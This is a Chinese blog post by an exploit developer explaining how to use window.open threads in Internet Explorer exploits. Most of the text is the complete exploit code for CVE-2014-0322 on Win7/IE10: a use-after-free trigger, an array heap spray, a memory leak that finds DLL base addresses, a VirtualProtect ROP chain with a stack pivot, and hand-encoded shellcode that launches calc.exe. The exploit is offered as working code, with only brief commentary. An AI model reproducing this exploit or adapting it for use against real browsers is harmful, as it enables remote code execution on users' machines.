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IE exp中的多线程操作
最近在写cve-2014-0321这个漏洞的poc，分析的时候发现这流程简直就是个坑（越写越坑！！），没办法只能照着古河的思路，利用多线程进行操作。虽然知道多线程操作用window.open去创建，但调用了之后发现一直创建的都是个进程，根本就没有线程啊，简直就是个坑啊。后来无数次的尝试之后才发现，之前一直本地进行IE漏洞的调试，这样子使用window.open打开的总是一个进程，这样子也就没办法实现利用或者是占位。之后，用python架了简易的web服务，web的方式来访问，才发现window.open虽然创建了一个新的tab，但并没有创建一个新的进程，而是在原有的进程中创建了一个线程进行操作。如下还是以cve-2014-0322写的exp（cve-2014-0321的等稳定之后再分析），测试环境仍然是win7+IE10，其主要思想是主线程负责漏洞触发，子线程负责漏洞的利用等相关操作。
open.html
<html><head id="headId"><title>main page</title><script>function dword2data(dword) { var d = Number(dword).toString(16); while (d.length < 8) d = ‘0‘ + d; return unescape(‘%u‘ + d.substr(4, 8) + ‘%u‘ + d.substr(0, 4));}var g_arr = [];var arrLen = 0x50;function fun(){ var a=0; // to alloc the memory for(a=0;a<arrLen;++a) { g_arr[a]=document.createElement(‘div‘) }; var b = dword2data(0x41414141); var c = 0x0a0bf120; while(b.length<0x360) { if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc); else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8); else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10); else if(b.length==(0x15c/2)) b+=dword2data(0x42424242); else b += dword2data(0x41414141); } var d=b.substring(0,(0x340-2)/2); try{ this.outerHTML=this.outerHTML } catch(e){} CollectGarbage(); //to reuse the freed memory for(a=0;a<arrLen;++a) { g_arr[a].title=d.substring(0,d.length); }}function puIHa3() { var a = document.getElementsByTagName("script"); var b = a[0]; b.onpropertychange = fun ; var c = document.createElement(‘SELECT‘); c = b.appendChild(c);//}window.open(‘opensrc.html‘);setTimeout(‘puIHa3()‘,400);</script></head></html>
open.html
<html><body><script>var x = new Array();var xx = new Array();function LargBlock() { for (var k=0;k<0x150;k++) { if(k<0x30) xx[k] = new ArrayBuffer(); else if(k<0x40) xx[k] = new ArrayBuffer(0x1ff8); else xx[k] = new ArrayBuffer(); }}function spray() { for (var k=0;k<0x800;k++) { x[k] = new Array(0x3bf8); for (var i = 0; i< 0x55;i++) { x[k][i] = new Int32Array(xx[20]); } for(;i<0x3bf8;i++) { x[k][i] = i; } }}function findArray(size) { for (var k=0;k<0x800;k++) { for (var i = 0; i< 0x55;i++) { if(x[k][i].length != 0) { //alert(x[k][i].length.toString(16)); return [k,i]; } } } return [-1,-1];}function dll_baseaddress(address,index) { var pp = address & 0xffff0000; var count=0; while(1) { if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d) { return pp; } else pp=pp-0x10000; count++; if(count==50) return -1; }}function module_baseaddress(other_baseaddress,index,name) { var e_lfanew = x[index[0]][index[1]][(other_baseaddress+0x3c)/4]; var image_file_header = other_baseaddress+e_lfanew; var image_data_directorys = image_file_header+0x78; var import_table_address = other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2]; var import_table_size = x[index[0]][index[1]][image_data_directorys/4+3]; for(var k=0;k<import_table_size/0x14;k++) { var import_dll_address = import_table_address + k*0x14; var dll_name_address = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3]; if(x[index[0]][index[1]][dll_name_address/4]==name[0] && x[index[0]][index[1]][dll_name_address/4+1]==name[1]) { var first_thunk = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4]; var function1 = x[index[0]][index[1]][first_thunk/4]; return dll_baseaddress(function1,index); } } return -1;}function judge(test,index) { if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8]) { return 1; } else { return -1; }}LargBlock();spray();//window.open(‘test3.html‘);setTimeout(‘exp()‘,600);function exp() { var flag = 1; for (var k=0;k<0x800;k++) { x[k][15358] = 0x20000000; } //while(flag) { var info = findArray(0x20000000); //alert(info[0]); if(info[0]!=-1) { flag = 0; x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000; var pvftable_int32array = x[info[0]][info[1]][0x0a0bf000/4]; var jscript9_base_address=dll_baseaddress(pvftable_int32array,info); var kernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]); var msvcrt_base_address = module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]); var ntdll_base_address = module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]); var xx_2 = x[info[0]][info[1]][0x0a0bf020/4]; //for test if(judge(xx_2,info)) { //x[info[0]][info[1]][0x0a0bf030/4] = 0; //x[info[0]][info[1]][0x0a0bf048/4] = 0x100; //x[info[0]][info[1]+1][0] = 0; //alert(‘1‘); var xx_3 = x[info[0]][info[1]][xx_2/4+0xc]; var xx_4 = x[info[0]][info[1]][xx_2/4+0x2c]; //for(var k=info[1]+1;k<0x55;k++) //{ // delete x[info[0]][k]; //} //CollectGarbage(); //for(var k=info[1]+1;k<0x55;k++) //{ // x[info[0]][k] = new Int32Array(xx[1]); //} delete x[info[0]][info[1]+1]; CollectGarbage(); x[info[0]][info[1]+1] = new Int32Array(xx[50]); delete x[info[0]][info[1]+2]; CollectGarbage(); x[info[0]][info[1]+2] = new Int32Array(xx[55]); //alert(x[info[0]][info[1]][0x0a0bf04c/4].toString(16)); //for(var k=0;k<0x150/4;k++) //{ //x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e; //} var addr1 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 1]; var addr2 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 2]; //alert(addr1.toString(16)); //alert(addr2.toString(16)); x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e; //xchg eax,esp#retn x[info[0]][info[1]+1][0] = kernel32_base_address+0x000020d8; //VirtualProtect x[info[0]][info[1]+1][1] = x[info[0]][info[1]][(addr2+0x1c)/4]; x[info[0]][info[1]+1][2] = x[info[0]][info[1]][(addr2+0x1c)/4]&0xffff000; //Address //alert(x[info[0]][info[1]+1][1].toString(16)); x[info[0]][info[1]+1][3] = 0x1000; //size x[info[0]][info[1]+1][4] = 0x40; //newprotect:page_execute_readwrite x[info[0]][info[1]+1][5] = 0x0a0bf038; //oldprotect x[info[0]][info[1]+1][6] = x[info[0]][info[1]][(addr1+0x1c)/4]+0x40; x[info[0]][info[1]+1][7] = 5; //ret address // //xB8xADx23x86x7C //[info[0]][info[1]][0x0a0bf04c/4]+0x40; //calc.exe x[info[0]][info[1]+1][16] = 0x636c6163; x[info[0]][info[1]+1][17] = 0x6578652e; var HeapDataAddress = x[info[0]][info[1]][(addr1+0x1c)/4]; var HeapEntry1 = x[info[0]][info[1]][HeapDataAddress/4-2]; var HeapEntry2 = x[info[0]][info[1]][HeapDataAddress/4-1]; x[info[0]][info[1]+1][32] = HeapEntry1; x[info[0]][info[1]+1][33] = HeapEntry2; //shellcode //B8 78563412 mov eax,0x12345678 //FFD0 call eax //8BE5 mov esp,ebp //83EC 78 sub esp,0x78 //B8 78563412 mov eax,0x12345678 //BB 30F00B0A mov ebx,0xA0BF030 //B9 30F00B0A mov ecx,0xA0BF030 //C705 30F00B0A 78563412 mov dword ptr ds:[0xA0BF030],0x12345678 //C705 18F00B0A 00000000 mov dword ptr ds:[0xA0BF018],0x0 //C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678 //C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678 //FFE0 jmp eax x[info[0]][info[1]+2][0] = ((kernel32_base_address+0x8edae)<<8) + 0xB8; x[info[0]][info[1]+2][1] = (kernel32_base_address>>24)+0x8bD0ff00; x[info[0]][info[1]+2][2] = 0x78EC83e5; x[info[0]][info[1]+2][3] = 0xb8 + (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8); x[info[0]][info[1]+2][4] = (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xbb00+(addr1<<16); x[info[0]][info[1]+2][5] = 0x00b90000+(addr1>>16)+(addr1<<24); x[info[0]][info[1]+2][6] = 0xc7000000+(addr1>>8); x[info[0]][info[1]+2][7] = 0x00000005+(addr1<<8); x[info[0]][info[1]+2][8] = (addr1>>24) + (pvftable_int32array << 8); x[info[0]][info[1]+2][9] = (pvftable_int32array >> 24) + 0x1805c700; x[info[0]][info[1]+2][10] = 0x0a0bf0; x[info[0]][info[1]+2][11] = 0xc7000000; x[info[0]][info[1]+2][12] = 0x05 + ((HeapDataAddress-0x8)<<8); x[info[0]][info[1]+2][13] = ((HeapDataAddress-0x8)>>24) + (HeapEntry1 << 8); x[info[0]][info[1]+2][14] = (HeapEntry1>>24) + 0x05c700 + ((HeapDataAddress-0x4)<<24); x[info[0]][info[1]+2][15] = ((HeapDataAddress-0x4)>>8) + (HeapEntry2 << 24); x[info[0]][info[1]+2][16] = (HeapEntry2 >> 8) + 0xff000000; x[info[0]][info[1]+2][17] = 0xe0; x[info[0]][info[1]][addr1/4] = x[info[0]][info[1]][(addr1+0x1c)/4]; //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16)); x[info[0]][info[1]+1][0] = 0; //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16)); //delete x[info[0]][info[1]+1]; //delete x[info[0]][info[1]+2]; //CollectGarbage(); } } //}}</script></body></html>
利用这种方式进行操作，有一个致命的缺点，就是会弹出一个pop-up blocker信息框，这样需要用户点击才能够运行。测试的时候，可以把pop-up blocker关闭进行测试。对于如何绕过pop-up blocker验证机制，还有待进一步研究。
另外，多线程操作也可以使用iframe或者worker来进行，但在使用的过程中发现有些漏洞在iframe中并不能够触发，这应该和程序的处理流程或者渲染过程有关系，不过多线程的操作只是一种思想，正如Array Heap Spraying一样，不在于方法是怎样的，而在于你如何去利用它。更关键的在于怎样去控制程序的流程，能够走向你所能控制的方向。同时，对于一个漏洞而言，你如何将其与手中的方法相结合也是关键，总之漏洞挖掘、漏洞分析和漏洞利用都是一脉相承的，熟悉一招半式是不能够乘风破浪的，要想手到擒来，还需多加练习啊。
IE exp中的多线程操作
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